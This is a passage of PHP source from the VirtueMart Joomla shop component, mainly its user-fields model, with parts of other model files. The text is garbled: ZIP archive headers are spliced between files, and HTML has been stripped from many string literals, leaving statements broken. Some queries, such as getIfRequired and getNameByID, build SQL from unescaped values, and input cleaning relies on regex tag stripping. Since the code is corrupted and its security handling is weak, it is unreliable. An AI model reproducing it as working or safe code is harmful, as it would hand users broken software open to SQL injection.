,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'no_js_flash' ); break; default: // //*** code for htmlpurifier *** // //SEE http://htmlpurifier.org/ // // must only add all htmlpurifier in library/htmlpurifier/ // if (!$this->htmlpurifier) { // require(JPATH_VM_ADMINISTRATOR.DS.'library'.DS.'htmlpurifier'.DS.'HTMLPurifier.auto.php'); // $config = HTMLPurifier_Config::createDefault(); // $this->htmlpurifier = new HTMLPurifier($config); // } // $value = $this->htmlpurifier->purify($value); // vmdebug( "purified filter" , $value); //$config->set('URI.HostBlacklist', array('google.com'));// set eg .add google.com in black list if (strpos($fieldType,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); // vmdebug('params',$params); $dispatcher->trigger('plgVmPrepareUserfieldDataSave',array($fieldType, $fieldName, &$data, &$value, $params) ); return $value; } // no HTML TAGS but permit all alphabet $value = vmFilter::hl( $value,array('deny_attribute'=>'*')); $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $value = (string)preg_replace('#^\'#si','',$value);//replace ' at start break; } return $value; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. */ function getUserfield($id = 0,$name = 0) { if($id === 0){ $id = $this->_id; } if (empty($this->_data)) { $this->_data = $this->getTable('userfields'); if($name !==0){ $this->_data->load($id, $name); } $this->_data->load($id); } if(strpos($this->_data->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($this->_data->type,6); $type = 'userfield'; $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsUserfield',array($type,$plgName,$this->_data->userfield_jplugin_id,&$this->_data)); // vmdebug('pluginGet',$type,$plgName,$this->_id,$this->_data); } // Parse the parameters, if any else $this->_params->parseParam($this->_data->params); return $this->_data; } /** * Retrieve the value records for the current $id if available for the current type * * Updated by stAn to get userfieldvalues per specific id regardless on this->_id * * @return array List wil values, or an empty array if none exist */ function getUserfieldValues($id=null) { if (empty($id)) $id = $this->_id; $this->_data = $this->getTable('userfield_values'); if ($id > 0) { $query = 'SELECT * FROM `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . (int)$id . ' ORDER BY `ordering`'; $_userFieldValues = $this->_getList($query); return $_userFieldValues; } else { return array(); } } static function getCoreFields(){ return array( 'name','username', 'email', 'password', 'password2' , 'agreed','language'); } /** * Bind the post data to the userfields table and save it * * @return boolean True is the save was successful, false otherwise. */ function store(&$data){ $field = $this->getTable('userfields'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $isNew = ($data['virtuemart_userfield_id'] < 1) ? true : false; $coreFields = $this->getCoreFields(); if(in_array($data['name'],$coreFields)){ //vmError('Cant store/update core field. They belong to joomla'); //return false; } else { if ($isNew) { $reorderRequired = false; $_action = 'ADD'; } else { $field->load($data['virtuemart_userfield_id']); $_action = 'CHANGE'; if ($field->ordering == $data['ordering']) { $reorderRequired = false; } else { $reorderRequired = true; } } } //vmdebug ('SAVED userfields', $data); // Put the parameters, if any, in the correct format if (array_key_exists($data['type'], $this->reqParam)) { $this->_params->set($this->reqParam[$data['type']], $data[$this->reqParam[$data['type']]]); $data['params'] = $this->_params->paramString(); } // Store the fieldvalues, if any, in a correct array $fieldValues = $this->postData2FieldValues($data['vNames'], $data['vValues'], $data['virtuemart_userfield_id'] ); if(strpos($data['type'],'plugin')!==false){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $plgName = substr($data['type'],6); $q = 'SELECT `' . $ext_id . '` FROM `' . $tb . '` WHERE `element` = "'.$plgName.'"'; $this->_db->setQuery($q); $data['userfield_jplugin_id'] = $this->_db->loadResult(); JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnBeforeUserfieldSave',array( $plgName , &$data, &$field ) ); } if (!$field->bind($data)) { // Bind data vmError($field->getError()); return false; } if (!$field->check(count($fieldValues))) { // Perform data checks //vmError($field->getError()); return false; } // Get the fieldtype for the database $_fieldType = $field->formatFieldType($data); if(!in_array($data['name'],$coreFields) && $field->type != 'delimiter'){ // Alter the user_info table if (!$userinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn userinfo',$userinfo->getError()); return false; } // Alter the order_userinfo table if (!$orderinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn orderinfo',$orderinfo->getError()); return false; } } // if new item, order last in appropriate group if ($isNew) { $field->ordering = $field->getNextOrder(); } $_id = $field->store(); if ($_id === false) { // Write data to the DB vmError($field->getError()); return false; } if (!$this->storeFieldValues($fieldValues, $_id)) { return false; } if(strpos($data['type'],'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($data['type'],6); $dispatcher->trigger('plgVmOnStoreInstallPluginTable',array( 'userfield' , $data ) ); } if ($reorderRequired) { $field->reorder(); } vmdebug('storing userfield',$_id); // Alter the user_info database to hold the values return $_id; } /** * Bind and write all value records * * @param array $_values * @param mixed $_id If a new record is being inserted, it contains the virtuemart_userfield_id, otherwise the value true * @return boolean */ private function storeFieldValues($_values, $_id) { // stAn - not true, because if previously we had more values, we have to delete them /* if (count($_values) == 0) { return true; //Nothing to do } */ $fieldvalue = $this->getTable('userfield_values'); // get original values $originalvalues = $this->getUserfieldValues($_id); // for each orignal value search if it was deleted or modified for ($i = 0; $i < count($originalvalues); $i++) { if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } else { // the field was deleted // stAn, next line doesn't work, because it tries to delete by the virtuemart_userfield_id instead of virtuemart_userfield_value_id // $msg = $fieldvalue->delete($originalvalues->virtuemart_userfield_value_id); $db = JFactory::getDBO(); $q = 'DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_value_id` = ' . (int)$originalvalues[$i]->virtuemart_userfield_value_id.' and `virtuemart_userfield_id` = '.(int)$_id; $db->setQuery($q); if ($db->query() === false) { vmError($db->getError()); return false; } } } // for each new value that was added for ($i = count($originalvalues)-1; $i < count($_values) ; $i++) { // do a check here as we might not be using pure numeric arrays if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } } return true; } /** * * @author Max Milbers */ public function getUserFieldsFor($layoutName, $type,$userId = -1){ //vmdebug('getUserFieldsFor '.$layoutName.' '. $type .' ' . $userId); $register = false; if(VmConfig::get('oncheckout_show_register',1) and $type=='BT'){ $user = JFactory::getUser(); if(!empty($user)){ if(empty($user->id)){ $register = true; } } else { $register = true; } } else { $register = false; } $skips = array(); //Maybe there is another method to define the skips $skips = array('address_type'); if((!$register or $type =='ST') and $layoutName !='edit'){ $skips[] = 'name'; $skips[] = 'username'; $skips[] = 'password'; $skips[] = 'password2'; $skips[] = 'user_is_vendor'; $skips[] = 'agreed'; // MattLG: Added this line because it leaves the empty fieldset with just the label when editing the ST addresses // A better solution might be to make this a setting rather than hard coding this whole block here $skips[] = 'delimiter_userinfo'; } //Here we get the fields if ($type == 'BT') { $userFields = $this->getUserFields( 'account' , array() // Default toggles , $skips// Skips ); } else { $userFields = $this->getUserFields( 'shipment' , array() // Default toggles , $skips ); } //Small ugly hack to make registering optional //do we still need that? YES ! notice by Max Milbers if($register && $type == 'BT' && VmConfig::get('oncheckout_show_register',1) ){ $corefields = $this->getCoreFields(); unset($corefields[2]); //the 2 is for the email field, it is necessary in almost anycase. foreach($userFields as $field){ if(in_array($field->name,$corefields)){ $field->required = 0; $field->value = ''; $field->default = ''; } } } return $userFields; } /** * Retrieve an array with userfield objects * * @param string $section The section the fields belong to (e.g. 'registration' or 'account') * @param array $_switches Array to toggle these options: * * published published fields only (default: true) * * required Required fields only (default: false) * * delimiters Exclude delimiters (default: false) * * captcha Exclude Captcha type (default: false) * * system System fields filter (no default; true: only system fields, false: exclude system fields) * @param array $_skip Array with fieldsnames to exclude. Default: array('username', 'password', 'password2', 'agreed'), * specify array() to skip nothing. * @see getUserFieldsFilled() * @author Oscar van Eijk * @return array */ public function getUserFields ($_sec = 'registration', $_switches=array(), $_skip = array('username', 'password', 'password2')) { // stAn, we can't really create cache per sql as we want to create named array as well $cache_hash = md5($_sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); if (isset(self::$_cache_ordered[$cache_hash])) return self::$_cache_ordered[$cache_hash]; $_q = 'SELECT * FROM `#__virtuemart_userfields` WHERE 1 = 1 '; if( $_sec != 'bank' && $_sec != '') { $_q .= 'AND `'.$_sec.'`=1 '; } elseif ($_sec == 'bank' ) { $_q .= "AND name LIKE '%bank%' "; } /* if (($_skipBank = array_search('bank', $_skip)) !== false ) { $_q .= "AND name NOT LIKE '%bank%' "; unset ($_skip[$_skipBank]); }*/ if(array_key_exists('published',$_switches)){ if ($_switches['published'] !== false ) { $_q .= 'AND published = 1 '; } } else { $_q .= 'AND published = 1 '; } if(array_key_exists('required',$_switches)){ if ($_switches['required'] === true ) { $_q .= "AND required = 1 "; } } if(array_key_exists('delimiters',$_switches)){ if ($_switches['delimiters'] === true ) { $_q .= "AND type != 'delimiter' "; } } if(array_key_exists('captcha',$_switches)){ if ($_switches['captcha'] === true ) { $_q .= "AND type != 'captcha' "; } } if(array_key_exists('sys',$_switches)){ if ($_switches['sys'] === true ) { $_q .= "AND sys = 1 "; } else { $_q .= "AND sys = 0 "; } } if (count($_skip) > 0) { $_q .= "AND FIND_IN_SET(name, '".implode(',', $_skip)."') = 0 "; } $_q .= ' ORDER BY ordering '; $_fields = $this->_getList($_q); // We need some extra fields that are not in the userfields table. They will be hidden on the details form if (!in_array('address_type', $_skip)) { $_address_type = new stdClass(); $_address_type->virtuemart_userfield_id = 0; $_address_type->name = 'address_type'; $_address_type->title = ''; $_address_type->description = '' ; $_address_type->type = 'hidden'; $_address_type->maxlength = 0; $_address_type->size = 0; $_address_type->required = 0; $_address_type->ordering = 0; $_address_type->cols = 0; $_address_type->rows = 0; $_address_type->value = ''; $_address_type->default = 'BT'; $_address_type->published = 1; $_address_type->registration = 1; $_address_type->shipment = 0; $_address_type->account = 1; $_address_type->readonly = 0; $_address_type->calculated = 0; // what is this??? $_address_type->sys = 0; $_address_type->virtuemart_vendor_id = 1; $_address_type->params = ''; $_fields[] = $_address_type; } // stAn: slow to run the first time: self::$_cache_ordered[$cache_hash] = $_fields; if (!isset(self::$_cache_named[$_sec])) self::$_cache_named[$_sec] = array(); foreach ($_fields as &$f) { self::$_cache_named[$_sec][$f->name] = $f; } return $_fields; } /** * Return a boolean whethe the userfield is enabled in context of $_sec * * @access public * @param $_field_name: name of the user field such as 'email' * @param $_sec BT or ST, or one of the types of the fields: account, shipment, registration * @author stAn * @return true or false * * Note: this function will return a false result for skipped fields such as agreed, user_is_vendor * * when used from shipment method, you can use * $userFieldsModel =VmModel::getModel('Userfields'); * $type = (($cart->ST == 0) ? 'BT' : 'ST'); * if ($userFieldsModel->fieldPublished('zip', $type)) .... */ public function fieldPublished($_field_name, $_sec='account') { if ($_sec == 'BT') $_sec = 'account'; else if ($_sec == 'ST') $_sec = 'shipment'; if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); $this->getUserFields($_sec, array(), array()); if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); return false; } /** * Return an array with userFields in several formats. * * @access public * @param $_selection An array, as returned by getuserFields(), with fields that should be returned. * @param $_userData Array with userdata holding the values for the fields * @param $_prefix string Optional prefix for the formtag name attribute * @author Oscar van Eijk * @return array List with all userfield data in the format: * array( * 'fields' => array( // All fields * => array( * 'name' => // Name of the field * 'value' => // Existing value for the current user, or the default * 'title' => // Title used for label and such * 'type' => // Field type as specified in the userfields table * 'hidden' => // True/False * 'required' => // True/False. If True, the formcode also has the class "required" for the Joomla formvalidator * 'formcode' => // Full HTML tag * ) * [...] * ) * 'functions' => array() // Optional javascript functions without ; * 'scripts' => array( // Array with scriptsources for use with JHTML::script(); * => * [...] * ) * 'links' => array( // Array with stylesheets for use with JHTML::stylesheet(); * => * [...] * ) * ) * @example This example illustrates the use of this function. For additional examples, see the Order view * and the User view in the administrator section. *
      	 *   // In the controller, make sure this model is loaded.
      	 *   // In view.html.php, make the following calls:
      	 *   $_usrDetails = getUserDetailsFromSomeModel(); // retrieve an user_info record, eg from the usermodel or ordermodel
      	 *   $_usrFieldList = $userFieldsModel->getUserFields(
      	 *                    'registration'
      	 *                  , array() // Default switches
      	 *                  , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips
      	 *    );
      	 *   $usrFieldValues = $userFieldsModel->getUserFieldsFilled(
      	 *                      $_usrFieldList
      	 *                     ,$_usrDetails
      	 *   );
      	 *   $this->assignRef('userfields', $userfields);
      	 *   // In the template, use code below to display the data. For an extended example using
      	 *   // delimiters, JavaScripts and StyleSheets, see the edit_shopper.php in the user view
      	 *   
      	 *     
      	 *       
      	 *         
      	 *       
      	 *     
      	 *      shipmentfields['fields'] as $_field ) {
      	 *          echo '  '."\n";
      	 *          echo '    '."\n";
      	 *          echo '    '."\n";
      	 *          echo '  '."\n";
      	 *        }
      	 *      ?>
      	 *    
      * *
      '."\n"; * echo ' '.$_field['title']."\n"; * echo ' '."\n"; * * echo ' '.$_field['value']."\n"; // Display only * Or: * echo ' '.$_field['formcode']."\n"; // Input form * * echo '
      *
      */ public function getUserFieldsFilled($_selection, $_userData = null, $_prefix = ''){ if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_return = array( 'fields' => array() ,'functions' => array() ,'scripts' => array() ,'links' => array() ); $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // vmdebug('my user data in getUserFieldsFilled',$_selection,$_userData); $_userData=(array)($_userData); if (is_array($_selection)) { foreach ($_selection as $_fld) { $_return['fields'][$_fld->name] = array( 'name' => $_prefix . $_fld->name ,'value' => (($_userData == null || !array_key_exists($_fld->name, $_userData)) ? $_fld->default : @html_entity_decode($_userData[$_fld->name],ENT_COMPAT,'UTF-8')) ,'title' => vmText::_($_fld->title) ,'type' => $_fld->type ,'required' => $_fld->required ,'hidden' => false ,'formcode' => '' ,'description' => vmText::_($_fld->description) ); $readonly = ''; if(!$admin){ if($_fld->readonly ){ $readonly = ' readonly="readonly" '; } } // vmdebug ('getUserFieldsFilled',$_fld->name); // if($_fld->name==='email') vmdebug('user data email getuserfieldbyuser',$_userData); // First, see if there are predefined fields by checking the name switch( $_fld->name ) { // case 'email': // $_return['fields'][$_fld->name]['formcode'] = $_userData->email; // break; case 'virtuemart_country_id': $attrib = array(); //For nice lists in the FE if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = ShopFunctions::renderCountryList($_return['fields'][$_fld->name]['value'], false, $attrib , $_prefix, $_fld->required); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_country_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE virtuemart_country_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['country_name'])? $r['country_name']:'' ; $_return['fields'][$_fld->name]['country_2_code'] = !empty($r['country_2_code'])? $r['country_2_code']:'' ; $_return['fields'][$_fld->name]['country_3_code'] = !empty($r['country_3_code'])? $r['country_3_code']:'' ; } else { vmError('Model Userfields, country with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['country_2_code'] = '' ; $_return['fields'][$_fld->name]['country_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); //$_return['fields'][$_fld->name]['state_2_code'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); break; case 'virtuemart_state_id': if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $attrib = array(); if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = shopFunctions::renderStateList( $_return['fields'][$_fld->name]['value'], $_prefix, false, $_fld->required, $attrib ); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_state_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['state_name'])? $r['state_name']:'' ; $_return['fields'][$_fld->name]['state_2_code'] = !empty($r['state_2_code'])? $r['state_2_code']:'' ; $_return['fields'][$_fld->name]['state_3_code'] = !empty($r['state_3_code'])? $r['state_3_code']:'' ; } else { vmError('Model Userfields, state with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['state_2_code'] = '' ; $_return['fields'][$_fld->name]['state_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = shopFunctions::getStateByID($_return['fields'][$_fld->name]['value']); break; //case 'agreed': // $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ' />'; // break; case 'password': case 'password2': $_return['fields'][$_fld->name]['formcode'] = ''."\n"; break; case 'agreed': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; break; // It's not a predefined field, so handle it by it's fieldtype default: if(strpos($_fld->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnUserfieldDisplay',array($_prefix, $_fld,isset($_userData['virtuemart_user_id'])?$_userData['virtuemart_user_id']:0, &$_return) ); break; } switch( $_fld->type ) { case 'hidden': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; $_return['fields'][$_fld->name]['hidden'] = true; break; case 'date': case 'age_verification': //echo JHTML::_('behavior.calendar'); /* * TODO We must add the joomla.javascript here that contains the calendar, * since Joomla does not load it when there's no user logged in. * Gotta find out why... some security issue or a bug??? * Note by Oscar */ // if ($_userData === null) { // Not logged in // $_doc = JFactory::getDocument(); // $_doc->addScript( JURI::root(true).'/includes/js/joomla.javascript.js'); // } $currentYear= date('Y'); // $calendar = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name, $_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); // $_return['fields'][$_fld->name]['formcode'] = $calendar ; //if(empty($_return['fields'][$_fld->name]['value'])){ // $_return['fields'][$_fld->name]['value'] = "1912-01-01 00:00:00"; //} jDate($date='',$name="date",$id=null,$resetBt = true, $yearRange='') { // Year range MUST start 100 years ago, for birthday $_return['fields'][$_fld->name]['formcode'] = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name,$_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); break; case 'emailaddress': if( JFactory::getApplication()->isSite()) { if(empty($_return['fields'][$_fld->name]['value'])) { $_return['fields'][$_fld->name]['value'] = JFactory::getUser()->email; } } // vmdebug('emailaddress',$_fld); case 'text': case 'webaddress': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; break; case 'textarea': $_return['fields'][$_fld->name]['formcode'] = ''; break; case 'editorta': jimport( 'joomla.html.editor' ); $editor = JFactory::getEditor(); $_return['fields'][$_fld->name]['formcode'] = $editor->display($_prefix.$_fld->name, $_return['fields'][$_fld->name]['value'], '150', '100', $_fld->cols, $_fld->rows, array('pagebreak', 'readmore')); break; case 'checkbox': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; if($_return['fields'][$_fld->name]['value']) { $_return['fields'][$_fld->name]['value'] = JText::_($_prefix.$_fld->title); } break; // /*##mygruz20120223193710 { :*/ // case 'userfieldplugin': //why not just vmuserfieldsplugin ? // JPluginHelper::importPlugin('vmuserfield'); // $dispatcher = JDispatcher::getInstance(); // //Todo to adjust to new pattern, using & // $html = '' ; // $dispatcher->trigger('plgVmOnUserFieldDisplay',array($_return['fields'][$_fld->name], &$html) ); // $_return['fields'][$_fld->name]['formcode'] = $html; // break; // /*##mygruz20120223193710 } */ case 'multicheckbox': case 'multiselect': case 'select': case 'radio': $_qry = 'SELECT fieldtitle, fieldvalue ' . 'FROM #__virtuemart_userfield_values ' . 'WHERE virtuemart_userfield_id = ' . $_fld->virtuemart_userfield_id . ' ORDER BY ordering '; $_values = $this->_getList($_qry); // We need an extra lok here, especially for the Bank info; the values // must be translated. // Don't check on the field name though, since others might be added in the future :-( foreach ($_values as $_v) { $_v->fieldtitle = vmText::_($_v->fieldtitle); } $_attribs = array(); if ($_fld->readonly and !$admin) { $_attribs['readonly'] = 'readonly'; } if ($_fld->required) { $_attribs['class'] = 'required'; } if ($_fld->type == 'radio' or $_fld->type == 'select') { $_selected = $_return['fields'][$_fld->name]['value']; } else { $_attribs['size'] = $_fld->size; // Use for all but radioselects if (!is_array($_return['fields'][$_fld->name]['value'])){ $_selected = explode("|*|", $_return['fields'][$_fld->name]['value']); } else { $_selected = $_return['fields'][$_fld->name]['value']; } } // Nested switch... switch($_fld->type) { case 'multicheckbox': // todo: use those $_attribs['rows'] = $_fld->rows; $_attribs['cols'] = $_fld->cols; $formcode = ''; $field_values=""; $_idx = 0; $separator_form = '
      '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $is_selected='checked="checked"'; $field_values.= JText::_($_val->fieldtitle). $separator_title; } else { $is_selected=''; } $formcode .= ' '. $separator_form; $_idx++; } // remove last br $_return['fields'][$_fld->name]['formcode'] =substr($formcode ,0,-strlen($separator_form)); $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'multiselect': $_attribs['multiple'] = 'multiple'; $_attribs['class'] = 'vm-chzn-select'; $field_values=""; $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name.'[]', $_attribs, 'fieldvalue', 'fieldtitle', $_selected); $separator_form = '
      '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $field_values.= JText::_($_val->fieldtitle). $separator_title; } } $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'select': $_attribs['class'] = 'vm-chzn-select'; if ($_fld->size) { $_attribs['style']= "width: ".$_fld->size."px"; } if(!$_fld->required){ $obj = new stdClass(); $obj->fieldtitle = vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'); $obj->fieldvalue = ''; array_unshift($_values,$obj); } $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( !empty($_selected) and $_val->fieldvalue==$_selected ) { // vmdebug('getUserFieldsFilled set empty select to value',$_selected,$_fld,$_return['fields'][$_fld->name]); $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; case 'radio': $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.radiolist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( $_val->fieldvalue==$_selected) { $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; } break; } break; } } } else { vmdebug('getUserFieldsFilled $_selection is not an array ',$_selection); // $_return['fields'][$_fld->name]['formcode'] = ''; } return $_return; } /** * Checks if a single field is required, used in the cart * * @author Max Milbers * @param string $fieldname */ function getIfRequired($fieldname) { $q = 'SELECT `required` FROM #__virtuemart_userfields WHERE `name` = "'.$fieldname.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ vmError('userfields getIfRequired '.$error,'Programmer used an unknown userfield '.$fieldname); } return $result; } /** * Translate arrays form userfield_values to the format expected by the table class. * * stAn Note -> when a field of [0] is deleted (or others), you cannot use count to itenerate the array * * @param array $titles List of titles from the formdata * @param array $values List of values from the formdata * @param int $virtuemart_userfield_id ID of the userfield to relate * @return array Data to bind to the userfield_values table */ private function postData2FieldValues($titles, $values, $virtuemart_userfield_id ){ $_values = array(); if (is_array($titles) && is_array($values)) { // updated by stAn: foreach ($values as $i=>$val) { $_values[$i] = array( 'virtuemart_userfield_id' => $virtuemart_userfield_id ,'fieldtitle' => $titles[$i] ,'fieldvalue' => $values[$i] ,'ordering' => $i ); } /* for ($i=0; $i < count($titles) ;$i++) { if (empty($titles[$i])) { continue; // Ignore empty fields } } */ } return $_values; } /** * Get the column name of a given fieldID * @param $_id integer Field ID * @return string Fieldname */ function getNameByID($_id) { $_sql = 'SELECT `name` FROM `#__virtuemart_userfields` WHERE virtuemart_userfield_id = "'.$_id.'" '; $_v = $this->_getList($_sql); return ($_v[0]->name); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($fieldIds){ $field = $this->getTable('userfields'); $value = $this->getTable('userfield_values'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $ok = true; foreach($fieldIds as $fieldId) { $_fieldName = $this->getNameByID($fieldId); $field->load($fieldId); if ($field->type != 'delimiter') { // Get the fieldtype for the database $_fieldType = $field->formatFieldType(); // Alter the user_info table if ($userinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($userinfo->getError()); $ok = false; } // Alter the order_userinfo table if ($orderinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($orderinfo->getError()); $ok = false; } } if (!$field->delete($fieldId)) { vmError($field->getError()); $ok = false; } if (!$value->delete($fieldId)) { vmError($field->getError()); $ok = false; } } return $ok; } /** * Get the userfields for the BE list * * @author Max Milbers * @return NULL */ function getUserfieldsList(){ if (!$this->_data) { $whereString = $this->_getFilter(); $ordering = $this->_getOrdering(); $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_userfields`',$whereString,'',$ordering); } return $this->_data; } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { $db = JFactory::getDBO(); if ($search = JRequest::getWord('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); return (' WHERE `name` LIKE ' .$search); } return (''); } /** * Build the query to list all Userfields * *@deprecated * @return string SQL query statement */ function _getListQuery () { $query = 'SELECT * FROM `#__virtuemart_userfields` '; $query .= $this->_getFilter(); $query .= $this->_getOrdering(); return ($query); } //*/ } // No closing tag PKs>\  $com_virtuemart/models/usergroups.phpnuW+AsetMainTable('usergroups'); } function getUsergroup() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('usergroups'); $this->_data->load((int)$this->_id); } return $this->_data; } function getUsergroups($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_shoppergroups`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_permgroups`',$whereString,'',$this->_getOrdering()); } } PKs>\@<<$com_virtuemart/models/virtuemart.phpnuW+A_getListCount($query); } /** * Gets the total number of active products * * @author RickG * @return int Total number of active products in the database */ function getTotalActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="1"'; return $this->_getListCount($query); } /** * Gets the total number of inactive products * * @author RickG * @return int Total number of inactive products in the database */ function getTotalInActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="0"'; return $this->_getListCount($query); } /** * Gets the total number of featured products * * @author RickG * @return int Total number of featured products in the database */ function getTotalFeaturedProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `product_special`="1"'; return $this->_getListCount($query); } /** * Gets the total number of orders with the given status * * @author RickG * @return int Total number of orders with the given status */ function getTotalOrdersByStatus() 